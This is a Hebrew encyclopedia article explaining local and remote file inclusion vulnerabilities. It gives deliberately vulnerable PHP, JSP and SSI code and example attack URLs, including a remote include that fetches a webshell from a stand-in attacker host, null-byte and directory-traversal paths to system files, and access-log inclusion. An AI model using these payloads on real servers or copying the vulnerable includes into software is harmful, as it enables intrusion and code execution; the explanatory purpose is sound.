File Inclusion
הכללת קבצים (אנגלית: File Inclusion) היא פגיעות ביישומי אינטרנט לא מבוקרים המסתמכים על זמן ריצה של סקריפט. בעזרת הפגיעות יכול התוקף להחדיר קוד אל שרת אינטרנט ולהריצו באופן מקומי או מרוחק.
הפגיעות מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול, אך הקלט אינו מסונן ומאומת כראוי. במידה ומבוצע אימות, היישום אינו פגיע אך במידה ולא מבוצע אימות, ניתן לשנות את מבנה הנתיב ולגרום לתוכנית לבצע פעולות לא מתוכננות כגון: מעבר בין סיפריות (Directory Traversal), טעינה והרצת קבצים זדוניים, צפייה בקבצים חסויים הדלפת מידע רגיש ועוד.
פגיעות זו עשויה להוות בסיס להתקפות נוספות כגון:
סוגים
[עריכת קוד מקור | עריכה]ישנם 2 סוגי הכללות קבצים:
- הכללת קבצים מקומית (LFI - Local File Inclusion): תהליך של הכללת קבצים שכבר קיימים באופן מקומי בשרת, מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול אך הקלט אינו מסונן ומאומת כראוי, מאפשר הזרקת תווים במקום הקלט המקורי ומקנה לתוקף לבצע פעולות שונות כגון: צפייה בתכנים, מעבר בין סיפריות בעזרת /.. ועוד.
- הכללת קבצים מרוחקת (RFI - Remote File Inclusion): תהליך של הכללת קבצים מרוחקים, מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול, אך הקלט אינו מסונן ומאומת כראוי ומאפשר הזרקת כתובת חיצונית והפעלת קבצים מרוחקים במקום הקלט המקורי.
שימוש
[עריכת קוד מקור | עריכה]PHP
[עריכת קוד מקור | עריכה]בדוגמה שלהלן, פגיעות ביישום הכתוב בשפת PHP:
פונקציית ()include מייבאת את הקובץ הרצוי, במידה והוא קיים מציגה אותו למשתמש.
כדי לנצל את הפגיעות התוקף יחליף משתנה אחד כדי לגרום לו לכלול קוד זדוני מרוחק. כדי למנוע את הפגיעות, יש לאמת את קלט לפני השימוש בו.
<?php
if ( isset( $_GET['language'] ) ) {
include( $_GET['language'] . '.php' );
}
?>
<form method="get">
<select name="language">
<option value="english">English</option>
<option value="french">French</option>
...
</select>
<input type="submit">
</form>
הערכים english.php ,french.php, ישנו את התנהגות היישום בהתאם לשפת המשתמש שנבחרה, אך במקומם ניתן להזריק קוד שונה: הכללת קבצים מרוחקת (RFI):
/vulnerable.php?language=http://evil.example.com/webshell.txt?
הכללת קבצים מקומית (LFI):
/vulnerable.php?language=C:\\ftp\\upload\\exploit
שימוש בתו Null-Byte: המתעלם מהסיומת ה-PHP ומאפשרת גישה אל קבצים שאינם PHP (תוקן בגרסת PHP 5.3).
/vulnerable.php?language=C:\\notes.txt%00
מעבר בין ספריות (Directory Traversal): כדי לגשת אל קובץ passwd במערכות UNIX.
/vulnerable.php?language=../../../../../etc/os-release%00
JavaServer Pages
[עריכת קוד מקור | עריכה]בדוגמה שלהלן פגיעות בקוד JSP, שפת סקריפטים אשר יכולה לכלול קבצים בזמן ריצה:
<%
String p = request.getParameter("p");
@include file="<%="includes/" + p +".jsp"%>"
%>
בניגוד לשפת PHP, שפת JSP עדיין מושפעת מהזרקות Null Byte והפרמטר שלהלן יבצע פקודות JSP שנמצאות ביומן הגישה של שרת האינטרנט.
/vulnerable.jsp?p=../../../../var/log/access.log%00
HTML Server-Side Includes
[עריכת קוד מקור | עריכה]בדוגמה שלהלן פגיעות בקוד HTML החשוף לפגיעות של הכללת קבצים מרוחקת (RFI):
<HTML>
<TITLE>Test File</TITLE>
<!--#include file=”USER_LANGUAGE”-->
</HTML>
ראו גם
[עריכת קוד מקור | עריכה]קישורים חיצוניים
[עריכת קוד מקור | עריכה]- מידע על הכללת קבצים מקומית באתר Acunetix (באנגלית)